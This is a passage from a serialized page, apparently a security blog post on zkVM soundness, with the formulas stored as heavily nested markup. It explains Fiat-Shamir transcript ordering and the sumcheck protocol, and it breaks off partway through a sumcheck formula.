bugs.",{"type":23,"tag":17774,"props":106800,"children":106801},{},[],{"type":23,"tag":70,"props":106803,"children":106805},{"id":106804},"what-are-we-even-breaking",[106806],{"type":28,"value":106807},"What Are We Even Breaking?",{"type":23,"tag":82,"props":106809,"children":106811},{"id":106810},"what-is-a-zkvm",[106812],{"type":28,"value":106813},"What is a zkVM?",{"type":23,"tag":24,"props":106815,"children":106816},{},[106817],{"type":28,"value":106818},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":106820,"children":106821},{},[106822,106824,106849],{"type":28,"value":106823},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":56,"props":106825,"children":106827},{"className":106826},[2960,2961],[106828],{"type":23,"tag":504,"props":106829,"children":106831},{"className":106830},[2966],[106832],{"type":23,"tag":504,"props":106833,"children":106835},{"className":106834,"ariaHidden":2972},[2971],[106836],{"type":23,"tag":504,"props":106837,"children":106839},{"className":106838},[2977],[106840,106844],{"type":23,"tag":504,"props":106841,"children":106843},{"className":106842,"style":20564},[2982],[],{"type":23,"tag":504,"props":106845,"children":106847},{"className":106846,"style":20570},[2988,20569],[106848],{"type":28,"value":4971},{"type":28,"value":106850}," such that:",{"type":23,"tag":24,"props":106852,"children":106853},{},[106854],{"type":23,"tag":56,"props":106855,"children":106857},{"className":106856},[2960,2961],[106858],{"type":23,"tag":504,"props":106859,"children":106861},{"className":106860},[2966],[106862],{"type":23,"tag":504,"props":106863,"children":106865},{"className":106864,"ariaHidden":2972},[2971],[106866,106910,106985],{"type":23,"tag":504,"props":106867,"children":106869},{"className":106868},[2977],[106870,106874,106880,106884,106889,106893,106897,106902,106906],{"type":23,"tag":504,"props":106871,"children":106873},{"className":106872,"style":91713},[2982],[],{"type":23,"tag":504,"props":106875,"children":106877},{"className":106876},[2988],[106878],{"type":28,"value":106879},"∃",{"type":23,"tag":504,"props":106881,"children":106883},{"className":106882,"style":3167},[3069],[],{"type":23,"tag":504,"props":106885,"children":106887},{"className":106886,"style":20570},[2988,20569],[106888],{"type":28,"value":4971},{"type":23,"tag":504,"props":106890,"children":106892},{"className":106891,"style":3167},[3069],[],{"type":23,"tag":504,"props":106894,"children":106896},{"className":106895,"style":3167},[3069],[],{"type":23,"tag":504,"props":106898,"children":106900},{"className":106899},[3172],[106901],{"type":28,"value":3472},{"type":23,"tag":504,"props":106903,"children":106905},{"className":106904,"style":3167},[3069],[],{"type":23,"tag":504,"props":106907,"children":106909},{"className":106908,"style":3167},[3069],[],{"type":23,"tag":504,"props":106911,"children":106913},{"className":106912},[2977],[106914,106918,106929,106934,106939,106944,106948,106953,106958,106962,106967,106972,106976,106981],{"type":23,"tag":504,"props":106915,"children":106917},{"className":106916,"style":3090},[2982],[],{"type":23,"tag":504,"props":106919,"children":106921},{"className":106920},[2988],[106922],{"type":23,"tag":504,"props":106923,"children":106926},{"className":106924},[2988,106925],"mathsf",[106927],{"type":28,"value":106928},"VM",{"type":23,"tag":504,"props":106930,"children":106932},{"className":106931},[20698],[106933],{"type":28,"value":526},{"type":23,"tag":504,"props":106935,"children":106937},{"className":106936,"style":20570},[2988,20569],[106938],{"type":28,"value":20573},{"type":23,"tag":504,"props":106940,"children":106942},{"className":106941},[3101],[106943],{"type":28,"value":3104},{"type":23,"tag":504,"props":106945,"children":106947},{"className":106946,"style":3108},[3069],[],{"type":23,"tag":504,"props":106949,"children":106951},{"className":106950,"style":93818},[2988,20569],[106952],{"type":28,"value":5117},{"type":23,"tag":504,"props":106954,"children":106956},{"className":106955},[3101],[106957],{"type":28,"value":3104},{"type":23,"tag":504,"props":106959,"children":106961},{"className":106960,"style":3108},[3069],[],{"type":23,"tag":504,"props":106963,"children":106965},{"className":106964,"style":20570},[2988,20569],[106966],{"type":28,"value":4971},{"type":23,"tag":504,"props":106968,"children":106970},{"className":106969},[20720],[106971],{"type":28,"value":2105},{"type":23,"tag":504,"props":106973,"children":106975},{"className":106974,"style":3167},[3069],[],{"type":23,"tag":504,"props":106977,"children":106979},{"className":106978},[3172],[106980],{"type":28,"value":21315},{"type":23,"tag":504,"props":106982,"children":106984},{"className":106983,"style":3167},[3069],[],{"type":23,"tag":504,"props":106986,"children":106988},{"className":106987},[2977],[106989,106993],{"type":23,"tag":504,"props":106990,"children":106992},{"className":106991,"style":20564},[2982],[],{"type":23,"tag":504,"props":106994,"children":106997},{"className":106995,"style":106996},[2988,20569],"margin-right:0.22222em;",[106998],{"type":28,"value":5147},{"type":23,"tag":24,"props":107000,"children":107001},{},[107002],{"type":28,"value":107003},"where:",{"type":23,"tag":350,"props":107005,"children":107006},{},[107007,107037,107067,107097],{"type":23,"tag":45,"props":107008,"children":107009},{},[107010,107035],{"type":23,"tag":56,"props":107011,"children":107013},{"className":107012},[2960,2961],[107014],{"type":23,"tag":504,"props":107015,"children":107017},{"className":107016},[2966],[107018],{"type":23,"tag":504,"props":107019,"children":107021},{"className":107020,"ariaHidden":2972},[2971],[107022],{"type":23,"tag":504,"props":107023,"children":107025},{"className":107024},[2977],[107026,107030],{"type":23,"tag":504,"props":107027,"children":107029},{"className":107028,"style":20564},[2982],[],{"type":23,"tag":504,"props":107031,"children":107033},{"className":107032,"style":20570},[2988,20569],[107034],{"type":28,"value":20573},{"type":28,"value":107036}," = program/circuit description (public)",{"type":23,"tag":45,"props":107038,"children":107039},{},[107040,107065],{"type":23,"tag":56,"props":107041,"children":107043},{"className":107042},[2960,2961],[107044],{"type":23,"tag":504,"props":107045,"children":107047},{"className":107046},[2966],[107048],{"type":23,"tag":504,"props":107049,"children":107051},{"className":107050,"ariaHidden":2972},[2971],[107052],{"type":23,"tag":504,"props":107053,"children":107055},{"className":107054},[2977],[107056,107060],{"type":23,"tag":504,"props":107057,"children":107059},{"className":107058,"style":20564},[2982],[],{"type":23,"tag":504,"props":107061,"children":107063},{"className":107062,"style":93818},[2988,20569],[107064],{"type":28,"value":5117},{"type":28,"value":107066}," = public input",{"type":23,"tag":45,"props":107068,"children":107069},{},[107070,107095],{"type":23,"tag":56,"props":107071,"children":107073},{"className":107072},[2960,2961],[107074],{"type":23,"tag":504,"props":107075,"children":107077},{"className":107076},[2966],[107078],{"type":23,"tag":504,"props":107079,"children":107081},{"className":107080,"ariaHidden":2972},[2971],[107082],{"type":23,"tag":504,"props":107083,"children":107085},{"className":107084},[2977],[107086,107090],{"type":23,"tag":504,"props":107087,"children":107089},{"className":107088,"style":20564},[2982],[],{"type":23,"tag":504,"props":107091,"children":107093},{"className":107092,"style":106996},[2988,20569],[107094],{"type":28,"value":5147},{"type":28,"value":107096}," = claimed public output",{"type":23,"tag":45,"props":107098,"children":107099},{},[107100,107125],{"type":23,"tag":56,"props":107101,"children":107103},{"className":107102},[2960,2961],[107104],{"type":23,"tag":504,"props":107105,"children":107107},{"className":107106},[2966],[107108],{"type":23,"tag":504,"props":107109,"children":107111},{"className":107110,"ariaHidden":2972},[2971],[107112],{"type":23,"tag":504,"props":107113,"children":107115},{"className":107114},[2977],[107116,107120],{"type":23,"tag":504,"props":107117,"children":107119},{"className":107118,"style":20564},[2982],[],{"type":23,"tag":504,"props":107121,"children":107123},{"className":107122,"style":20570},[2988,20569],[107124],{"type":28,"value":4971},{"type":28,"value":107126}," = private witness/trace (registers, memory history, intermediate values)",{"type":23,"tag":24,"props":107128,"children":107129},{},[107130,107132,107136],{"type":28,"value":107131},"The verifier does ",{"type":23,"tag":296,"props":107133,"children":107134},{},[107135],{"type":28,"value":17469},{"type":28,"value":107137}," replay execution step by step. Instead, it checks algebraic constraints over committed polynomials.",{"type":23,"tag":24,"props":107139,"children":107140},{},[107141,107143,107148],{"type":28,"value":107142},"Some systems in this post are verifiable-computing systems rather than full zero-knowledge systems, but the critical property is still ",{"type":23,"tag":296,"props":107144,"children":107145},{},[107146],{"type":28,"value":107147},"soundness",{"type":28,"value":3472},{"type":23,"tag":350,"props":107150,"children":107151},{},[107152,107162],{"type":23,"tag":45,"props":107153,"children":107154},{},[107155,107160],{"type":23,"tag":296,"props":107156,"children":107157},{},[107158],{"type":28,"value":107159},"Completeness",{"type":28,"value":107161},": honest execution verifies.",{"type":23,"tag":45,"props":107163,"children":107164},{},[107165,107170],{"type":23,"tag":296,"props":107166,"children":107167},{},[107168],{"type":28,"value":107169},"Soundness",{"type":28,"value":107171},": false execution should not verify.",{"type":23,"tag":24,"props":107173,"children":107174},{},[107175,107177,107181],{"type":28,"value":107176},"We are breaking ",{"type":23,"tag":296,"props":107178,"children":107179},{},[107180],{"type":28,"value":107147},{"type":28,"value":107182}," in all six systems.",{"type":23,"tag":24,"props":107184,"children":107185},{},[107186],{"type":28,"value":107187},"In all six codebases, verification follows this abstract flow:",{"type":23,"tag":41,"props":107189,"children":107190},{},[107191,107196,107201,107206,107211,107216],{"type":23,"tag":45,"props":107192,"children":107193},{},[107194],{"type":28,"value":107195},"Fix public statement data.",{"type":23,"tag":45,"props":107197,"children":107198},{},[107199],{"type":28,"value":107200},"Parse proof payload (commitments, reduction messages, openings).",{"type":23,"tag":45,"props":107202,"children":107203},{},[107204],{"type":28,"value":107205},"Rebuild Fiat-Shamir challenges from transcript state.",{"type":23,"tag":45,"props":107207,"children":107208},{},[107209],{"type":28,"value":107210},"Check constraint equations at sampled points.",{"type":23,"tag":45,"props":107212,"children":107213},{},[107214],{"type":28,"value":107215},"Check PCS/opening consistency.",{"type":23,"tag":45,"props":107217,"children":107218},{},[107219],{"type":28,"value":107220},"Accept only if all checks are jointly consistent.",{"type":23,"tag":24,"props":107222,"children":107223},{},[107224],{"type":23,"tag":126,"props":107225,"children":107228},{"alt":107226,"src":107227},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":23,"tag":24,"props":107230,"children":107231},{},[107232],{"type":28,"value":107233},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":23,"tag":17774,"props":107235,"children":107236},{},[],{"type":23,"tag":70,"props":107238,"children":107240},{"id":107239},"the-building-blocks",[107241],{"type":28,"value":107242},"The Building Blocks",{"type":23,"tag":24,"props":107244,"children":107245},{},[107246],{"type":28,"value":107247},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":23,"tag":82,"props":107249,"children":107251},{"id":107250},"the-fiat-shamir-transform",[107252],{"type":28,"value":107253},"The Fiat-Shamir Transform",{"type":23,"tag":24,"props":107255,"children":107256},{},[107257],{"type":28,"value":107258},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":23,"tag":24,"props":107260,"children":107261},{},[107262],{"type":28,"value":107263},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":23,"tag":24,"props":107265,"children":107266},{},[107267],{"type":23,"tag":126,"props":107268,"children":107271},{"alt":107269,"src":107270},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":23,"tag":24,"props":107273,"children":107274},{},[107275,107277,107281,107283,107288],{"type":28,"value":107276},"The hash (transcript) ",{"type":23,"tag":296,"props":107278,"children":107279},{},[107280],{"type":28,"value":5503},{"type":28,"value":107282}," include everything that affects verification ",{"type":23,"tag":296,"props":107284,"children":107285},{},[107286],{"type":28,"value":107287},"BEFORE",{"type":28,"value":107289}," the challenges derived from it are used.",{"type":23,"tag":24,"props":107291,"children":107292},{},[107293,107295,107321,107323,107348,107350,107375,107377,107402,107404,107429],{"type":28,"value":107294},"If some value ",{"type":23,"tag":56,"props":107296,"children":107298},{"className":107297},[2960,2961],[107299],{"type":23,"tag":504,"props":107300,"children":107302},{"className":107301},[2966],[107303],{"type":23,"tag":504,"props":107304,"children":107306},{"className":107305,"ariaHidden":2972},[2971],[107307],{"type":23,"tag":504,"props":107308,"children":107310},{"className":107309},[2977],[107311,107315],{"type":23,"tag":504,"props":107312,"children":107314},{"className":107313,"style":20564},[2982],[],{"type":23,"tag":504,"props":107316,"children":107318},{"className":107317,"style":106996},[2988,20569],[107319],{"type":28,"value":107320},"V",{"type":28,"value":107322}," affects a verification equation, but ",{"type":23,"tag":56,"props":107324,"children":107326},{"className":107325},[2960,2961],[107327],{"type":23,"tag":504,"props":107328,"children":107330},{"className":107329},[2966],[107331],{"type":23,"tag":504,"props":107332,"children":107334},{"className":107333,"ariaHidden":2972},[2971],[107335],{"type":23,"tag":504,"props":107336,"children":107338},{"className":107337},[2977],[107339,107343],{"type":23,"tag":504,"props":107340,"children":107342},{"className":107341,"style":20564},[2982],[],{"type":23,"tag":504,"props":107344,"children":107346},{"className":107345,"style":106996},[2988,20569],[107347],{"type":28,"value":107320},{"type":28,"value":107349}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":23,"tag":56,"props":107351,"children":107353},{"className":107352},[2960,2961],[107354],{"type":23,"tag":504,"props":107355,"children":107357},{"className":107356},[2966],[107358],{"type":23,"tag":504,"props":107359,"children":107361},{"className":107360,"ariaHidden":2972},[2971],[107362],{"type":23,"tag":504,"props":107363,"children":107365},{"className":107364},[2977],[107366,107370],{"type":23,"tag":504,"props":107367,"children":107369},{"className":107368,"style":20564},[2982],[],{"type":23,"tag":504,"props":107371,"children":107373},{"className":107372,"style":106996},[2988,20569],[107374],{"type":28,"value":107320},{"type":28,"value":107376},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":23,"tag":56,"props":107378,"children":107380},{"className":107379},[2960,2961],[107381],{"type":23,"tag":504,"props":107382,"children":107384},{"className":107383},[2966],[107385],{"type":23,"tag":504,"props":107386,"children":107388},{"className":107387,"ariaHidden":2972},[2971],[107389],{"type":23,"tag":504,"props":107390,"children":107392},{"className":107391},[2977],[107393,107397],{"type":23,"tag":504,"props":107394,"children":107396},{"className":107395,"style":20564},[2982],[],{"type":23,"tag":504,"props":107398,"children":107400},{"className":107399,"style":106996},[2988,20569],[107401],{"type":28,"value":107320},{"type":28,"value":107403},", which may allow it to choose ",{"type":23,"tag":56,"props":107405,"children":107407},{"className":107406},[2960,2961],[107408],{"type":23,"tag":504,"props":107409,"children":107411},{"className":107410},[2966],[107412],{"type":23,"tag":504,"props":107413,"children":107415},{"className":107414,"ariaHidden":2972},[2971],[107416],{"type":23,"tag":504,"props":107417,"children":107419},{"className":107418},[2977],[107420,107424],{"type":23,"tag":504,"props":107421,"children":107423},{"className":107422,"style":20564},[2982],[],{"type":23,"tag":504,"props":107425,"children":107427},{"className":107426,"style":106996},[2988,20569],[107428],{"type":28,"value":107320},{"type":28,"value":107430}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":24,"props":107432,"children":107433},{},[107434],{"type":28,"value":107435},"This is the bug class we found in all six systems.",{"type":23,"tag":82,"props":107437,"children":107439},{"id":107438},"the-sumcheck-protocol",[107440],{"type":28,"value":107441},"The Sumcheck Protocol",{"type":23,"tag":24,"props":107443,"children":107444},{},[107445,107447,107533],{"type":28,"value":107446},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":56,"props":107448,"children":107450},{"className":107449},[2960,2961],[107451],{"type":23,"tag":504,"props":107452,"children":107454},{"className":107453},[2966],[107455],{"type":23,"tag":504,"props":107456,"children":107458},{"className":107457,"ariaHidden":2972},[2971],[107459],{"type":23,"tag":504,"props":107460,"children":107462},{"className":107461},[2977],[107463,107467,107472,107477,107482,107486,107491],{"type":23,"tag":504,"props":107464,"children":107466},{"className":107465,"style":3090},[2982],[],{"type":23,"tag":504,"props":107468,"children":107470},{"className":107469},[20698],[107471],{"type":28,"value":75369},{"type":23,"tag":504,"props":107473,"children":107475},{"className":107474},[2988],[107476],{"type":28,"value":3001},{"type":23,"tag":504,"props":107478,"children":107480},{"className":107479},[3101],[107481],{"type":28,"value":3104},{"type":23,"tag":504,"props":107483,"children":107485},{"className":107484,"style":3108},[3069],[],{"type":23,"tag":504,"props":107487,"children":107489},{"className":107488},[2988],[107490],{"type":28,"value":2991},{"type":23,"tag":504,"props":107492,"children":107494},{"className":107493},[20720],[107495,107500],{"type":23,"tag":504,"props":107496,"children":107498},{"className":107497},[20720],[107499],{"type":28,"value":1263},{"type":23,"tag":504,"props":107501,"children":107503},{"className":107502},[3005],[107504],{"type":23,"tag":504,"props":107505,"children":107507},{"className":107506},[3010],[107508],{"type":23,"tag":504,"props":107509,"children":107511},{"className":107510},[3015],[107512],{"type":23,"tag":504,"props":107513,"children":107516},{"className":107514,"style":107515},[3020],"height:0.6644em;",[107517],{"type":23,"tag":504,"props":107518,"children":107519},{"style":3024},[107520,107524],{"type":23,"tag":504,"props":107521,"children":107523},{"className":107522,"style":3030},[3029],[],{"type":23,"tag":504,"props":107525,"children":107527},{"className":107526},[3035,3036,3037,3038],[107528],{"type":23,"tag":504,"props":107529,"children":107531},{"className":107530},[2988,20569,3038],[107532],{"type":28,"value":55382},{"type":28,"value":107534},"), i.e the claim:",{"type":23,"tag":24,"props":107536,"children":107537},{},[107538],{"type":23,"tag":56,"props":107539,"children":107541},{"className":107540},[2960,2961],[107542],{"type":23,"tag":504,"props":107543,"children":107545},{"className":107544},[2966],[107546],{"type":23,"tag":504,"props":107547,"children":107549},{"className":107548,"ariaHidden":2972},[2971],[107550,107576],{"type":23,"tag":504,"props":107551,"children":107553},{"className":107552},[2977],[107554,107558,107563,107567,107572],{"type":23,"tag":504,"props":107555,"children":107557},{"className":107556,"style":20564},[2982],[],{"type":23,"tag":504,"props":107559,"children":107561},{"className":107560,"style":92032},[2988,20569],[107562],{"type":28,"value":92035},{"type":23,"tag":504,"props":107564,"children":107566},{"className":107565,"style":3167},[3069],[],{"type":23,"tag":504,"props":107568,"children":107570},{"className":107569},[3172],[107571],{"type":28,"value":601},{"type":23,"tag":504,"props":107573,"children":107575},{"className":107574,"style":3167},[3069],[],{"type":23,"tag":504,"props":107577,"children":107579},{"className":107578},[2977],[107580,107584,107734,107738,107881,107885,107892,107896,108040,108044,108050,108055,108112,108117,108121,108178,108183,108187,108193,108197,108202,108206,108264],{"type":23,"tag":504,"props":107581,"children":107583},{"className":107582,"style":20600},[2982],[],{"type":23,"tag":504,"props":107585,"children":107587},{"className":107586},[20605],[107588,107594],{"type":23,"tag":504,"props":107589,"children":107591},{"className":107590,"style":20612},[20605,20610,20611],[107592],{"type":28,"value":107593},"∑",{"type":23,"tag":504,"props":107595,"children":107597},{"className":107596},[3005],[107598],{"type":23,"tag":504,"props":107599,"children":107601},{"className":107600},[3010,20623],[107602,107723],{"type":23,"tag":504,"props":107603,"children":107605},{"className":107604},[3015],[107606,107718],{"type":23,"tag":504,"props":107607,"children":107609},{"className":107608,"style":20632},[3020],[107610],{"type":23,"tag":504,"props":107611,"children":107612},{"style":20636},[107613,107617],{"type":23,"tag":504,"props":107614,"children":107616},{"className":107615,"style":3030},[3029],[],{"type":23,"tag":504,"props":107618,"children":107620},{"className":107619},[3035,3036,3037,3038],[107621],{"type":23,"tag":504,"props":107622,"children":107624},{"className":107623},[2988,3038],[107625,107688,107693,107698,107703,107708,107713],{"type":23,"tag":504,"props":107626,"children":107628},{"className":107627},[2988,3038],[107629,107634],{"type":23,"tag":504,"props":107630,"children":107632},{"className":107631},[2988,20569,3038],[107633],{"type":28,"value":18257},{"type":23,"tag":504,"props":107635,"children":107637},{"className":107636},[3005],[107638],{"type":23,"tag":504,"props":107639,"children":107641},{"className":107640},[3010,20623],[107642,107676],{"type":23,"tag":504,"props":107643,"children":107645},{"className":107644},[3015],[107646,107671],{"type":23,"tag":504,"props":107647,"children":107650},{"className":107648,"style":107649},[3020],"height:0.3173em;",[107651],{"type":23,"tag":504,"props":107652,"children":107654},{"style":107653},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[107655,107660],{"type":23,"tag":504,"props":107656,"children":107659},{"className":107657,"style":107658},[3029],"height:2.5em;",[],{"type":23,"tag":504,"props":107661,"children":107665},{"className":107662},[3035,107663,107664,3038],"reset-size3","size1",[107666],{"type":23,"tag":504,"props":107667,"children":107669},{"className":107668},[2988,3038],[107670],{"type":28,"value":2991},{"type":23,"tag":504,"props":107672,"children":107674},{"className":107673},[20726],[107675],{"type":28,"value":20729},{"type":23,"tag":504,"props":107677,"children":107679},{"className":107678},[3015],[107680],{"type":23,"tag":504,"props":107681,"children":107684},{"className":107682,"style":107683},[3020],"height:0.143em;",[107685],{"type":23,"tag":504,"props":107686,"children":107687},{},[],{"type":23,"tag":504,"props":107689,"children":107691},{"className":107690},[3172,3038],[107692],{"type":28,"value":20676},{"type":23,"tag":504,"props":107694,"children":107696},{"className":107695},[20698,3038],[107697],{"type":28,"value":75369},{"type":23,"tag":504,"props":107699,"children":107701},{"className":107700},[2988,3038],[107702],{"type":28,"value":3001},{"type":23,"tag":504,"props":107704,"children":107706},{"className":107705},[3101,3038],[107707],{"type":28,"value":3104},{"type":23,"tag":504,"props":107709,"children":107711},{"className":107710},[2988,3038],[107712],{"type":28,"value":2991},{"type":23,"tag":504,"props":107714,"children":107716},{"className":107715},[20720,3038],[107717],{"type":28,"value":1263},{"type":23,"tag":504,"props":107719,"children":107721},{"className":107720},[20726],[107722],{"type":28,"value":20729},{"type":23,"tag":504,"props":107724,"children":107726},{"className":107725},[3015],[107727],{"type":23,"tag":504,"props":107728,"children":107730},{"className":107729,"style":20737},[3020],[107731],{"type":23,"tag":504,"props":107732,"children":107733},{},[],{"type":23,"tag":504,"props":107735,"children":107737},{"className":107736,"style":3108},[3069],[],{"type":23,"tag":504,"props":107739,"children":107741},{"className":107740},[20605],[107742,107747],{"type":23,"tag":504,"props":107743,"children":107745},{"className":107744,"style":20612},[20605,20610,20611],[107746],{"type":28,"value":107593},{"type":23,"tag":504,"props":107748,"children":107750},{"className":107749},[3005],[107751],{"type":23,"tag":504,"props":107752,"children":107754},{"className":107753},[3010,20623],[107755,107870],{"type":23,"tag":504,"props":107756,"children":107758},{"className":107757},[3015],[107759,107865],{"type":23,"tag":504,"props":107760,"children":107762},{"className":107761,"style":20632},[3020],[107763],{"type":23,"tag":504,"props":107764,"children":107765},{"style":20636},[107766,107770],{"type":23,"tag":504,"props":107767,"children":107769},{"className":107768,"style":3030},[3029],[],{"type":23,"tag":504,"props":107771,"children":107773},{"className":107772},[3035,3036,3037,3038],[107774],{"type":23,"tag":504,"props":107775,"children":107777},{"className":107776},[2988,3038],[107778,107835,107840,107845,107850,107855,107860],{"type":23,"tag":504,"props":107779,"children":107781},{"className":107780},[2988,3038],[107782,107787],{"type":23,"tag":504,"props":107783,"children":107785},{"className":107784},[2988,20569,3038],[107786],{"type":28,"value":18257},{"type":23,"tag":504,"props":107788,"children":107790},{"className":107789},[3005],[107791],{"type":23,"tag":504,"props":107792,"children":107794},{"className":107793},[3010,20623],[107795,107824],{"type":23,"tag":504,"props":107796,"children":107798},{"className":107797},[3015],[107799,107819],{"type":23,"tag":504,"props":107800,"children":107802},{"className":107801,"style":107649},[3020],[107803],{"type":23,"tag":504,"props":107804,"children":107805},{"style":107653},[107806,107810],{"type":23,"tag":504,"props":107807,"children":107809},{"className":107808,"style":107658},[3029],[],{"type":23,"tag":504,"props":107811,"children":107813},{"className":107812},[3035,107663,107664,3038],[107814],{"type":23,"tag":504,"props":107815,"children":107817},{"className":107816},[2988,3038],[107818],{"type":28,"value":2100},{"type":23,"tag":504,"props":107820,"children":107822},{"className":107821},[20726],[107823],{"type":28,"value":20729},{"type":23,"tag":504,"props":107825,"children":107827},{"className":107826},[3015],[107828],{"type":23,"tag":504,"props":107829,"children":107831},{"className":107830,"style":107683},[3020],[107832],{"type":23,"tag":504,"props":107833,"children":107834},{},[],{"type":23,"tag":504,"props":107836,"children":107838},{"className":107837},[3172,3038],[107839],{"type":28,"value":20676},{"type":23,"tag":504,"props":107841,"children":107843},{"className":107842},[20698,3038],[107844],{"type":28,"value":75369},{"type":23,"tag":504,"props":107846,"children":107848},{"className":107847},[2988,3038],[107849],{"type":28,"value":3001},{"type":23,"tag":504,"props":107851,"children":107853},{"className":107852},[3101,3038],[107854],{"type":28,"value":3104},{"type":23,"tag":504,"props":107856,"children":107858},{"className":107857},[2988,3038],[107859],{"type":28,"value":2991},{"type":23,"tag":504,"props":107861,"children":107863},{"className":107862},[20720,3038],[107864],{"type":28,"value":1263},{"type":23,"tag":504,"props":107866,"children":107868},{"className":107867},[20726],[107869],{"type":28,"value":20729},{"type":23,"tag":504,"props":107871,"children":107873},{"className":107872},[3015],[107874],{"type":23,"tag":504,"props":107875,"children":107877},{"className":107876,"style":20737},[3020],[107878],{"type":23,"tag":504,"props":107879,"children":107880},{},[],{"type":23,"tag":504,"props":107882,"children":107884},{"className":107883,"style":3108},[3069],[],{"type":23,"tag":504,"props":107886,"children":107889},{"className":107887},[107888],"minner",[107890],{"type":28,"value":107891},"⋯",{"type":23,"tag":504,"props":107893,"children":107895},{"className":107894,"style":3108},[3069],[],{"type":23,"tag":504,"props":107897,"children":107899},{"className":107898},[20605],[107900,107905],{"type":23,"tag":504,"props":107901,"children":107903},{"className":107902,"style":20612},[20605,20610,20611],[107904],{"type":28,"value":107593},{"type":23,"tag":504,"props":107906,"children":107908},{"className":107907},[3005],[107909],{"type":23,"tag":504,"props":107910,"children":107912},{"className":107911},[3010,20623],[107913,108029],{"type":23,"tag":504,"props":107914,"children":107916},{"className":107915},[3015],[107917,108024],{"type":23,"tag":504,"props":107918,"children":107920},{"className":107919,"style":20632},[3020],[107921],{"type":23,"tag":504,"props":107922,"children":107923},{"style":20636},[107924,107928],{"type":23,"tag":504,"props":107925,"children":107927},{"className":107926,"style":3030},[3029],[],{"type":23,"tag":504,"props":107929,"children":107931},{"className":107930},[3035,3036,3037,3038],[107932],{"type":23,"tag":504,"props":107933,"children":107935},{"className":107934},[2988,3038],[107936,107994,107999,108004,108009,108014,108019],{"type":23,"tag":504,"props":107937,"children":107939},{"className":107938},[2988,3038],[107940,107945],{"type":23,"tag":504,"props":107941,"children":107943},{"className":107942},[2988,20569,3038],[107944],{"type":28,"value":18257},{"type":23,"tag":504,"props":107946,"children":107948},{"className":107947},[3005],[107949],{"type":23,"tag":504,"props":107950,"children":107952},{"className":107951},[3010,20623],[107953,107983],{"type":23,"tag":504,"props":107954,"children":107956},{"className":107955},[3015],[107957,107978],{"type":23,"tag":504,"props":107958,"children":107961},{"className":107959,"style":107960},[3020],"height:0.1645em;",[107962],{"type":23,"tag":504,"props":107963,"children":107964},{"style":107653},[107965,107969],{"type":23,"tag":504,"props":107966,"children":107968},{"className":107967,"style":107658},[3029],[],{"type":23,"tag":504,"props":107970,"children":107972},{"className":107971},[3035,107663,107664,3038],[107973],{"type":23,"tag":504,"props":107974,"children":107976},{"className":107975},[2988,20569,3038],[107977],{"type":28,"value":55382},{"type":23,"tag":504,"props":107979,"children":107981},{"className":107980},[20726],[107982],{"type":28,"value":20729},{"type":23,"tag":504,"props":107984,"children":107986},{"className":107985},[3015],[107987],{"type":23,"tag":504,"props":107988,"children":107990},{"className":107989,"style":107683},[3020],[107991],{"type":23,"tag":504,"props":107992,"children":107993},{},[],{"type":23,"tag":504,"props":107995,"children":107997},{"className":107996},[3172,3038],[107998],{"type":28,"value":20676},{"type":23,"tag":504,"props":108000,"children":108002},{"className":108001},[20698,3038],[108003],{"type":28,"value":75369},{"type":23,"tag":504,"props":108005,"children":108007},{"className":108006},[2988,3038],[108008],{"type":28,"value":3001},{"type":23,"tag":504,"props":108010,"children":108012},{"className":108011},[3101,3038],[108013],{"type":28,"value":3104},{"type":23,"tag":504,"props":108015,"children":108017},{"className":108016},[2988,3038],[108018],{"type":28,"value":2991},{"type":23,"tag":504,"props":108020,"children":108022},{"className":108021},[20720,3038],[108023],{"type":28,"value":1263},{"type":23,"tag":504,"props":108025,"children":108027},{"className":108026},[20726],[108028],{"type":28,"value":20729},{"type":23,"tag":504,"props":108030,"children":108032},{"className":108031},[3015],[108033],{"type":23,"tag":504,"props":108034,"children":108036},{"className":108035,"style":20737},[3020],[108037],{"type":23,"tag":504,"props":108038,"children":108039},{},[],{"type":23,"tag":504,"props":108041,"children":108043},{"className":108042,"style":3108},[3069],[],{"type":23,"tag":504,"props":108045,"children":108047},{"className":108046,"style":92284},[2988,20569],[108048],{"type":28,"value":108049},"g",{"type":23,"tag":504,"props":108051,"children":108053},{"className":108052},[20698],[108054],{"type":28,"value":526},{"type":23,"tag":504,"props":108056,"children":108058},{"className":108057},[2988],[108059,108064],{"type":23,"tag":504,"props":108060,"children":108062},{"className":108061},[2988,20569],[108063],{"type":28,"value":18257},{"type":23,"tag":504,"props":108065,"children":108067},{"className":108066},[3005],[108068],{"type":23,"tag":504,"props":108069,"children":108071},{"className":108070},[3010,20623],[108072,108101],{"type":23,"tag":504,"props":108073,"children":108075},{"className":108074},[3015],[108076,108096],{"type":23,"tag":504,"props":108077,"children":108079},{"className":108078,"style":91850},[3020],[108080],{"type":23,"tag":504,"props":108081,"children":108082},{"style":91854},[108083,108087],{"type":23,"tag":504,"props":108084,"children":108086},{"className":108085,"style":3030},[3029],[],{"type":23,"tag":504,"props":108088,"children":108090},{"className":108089},[3035,3036,3037,3038],[108091],{"type":23,"tag":504,"props":108092,"children":108094},{"className":108093},[2988,3038],[108095],{"type":28,"value":2991},{"type":23,"tag":504,"props":108097,"children":108099},{"className":108098},[20726],[108100],{"type":28,"value":20729},{"type":23,"tag":504,"props":108102,"children":108104},{"className":108103},[3015],[108105],{"type":23,"tag":504,"props":108106,"children":108108},{"className":108107,"style":91881},[3020],[108109],{"type":23,"tag":504,"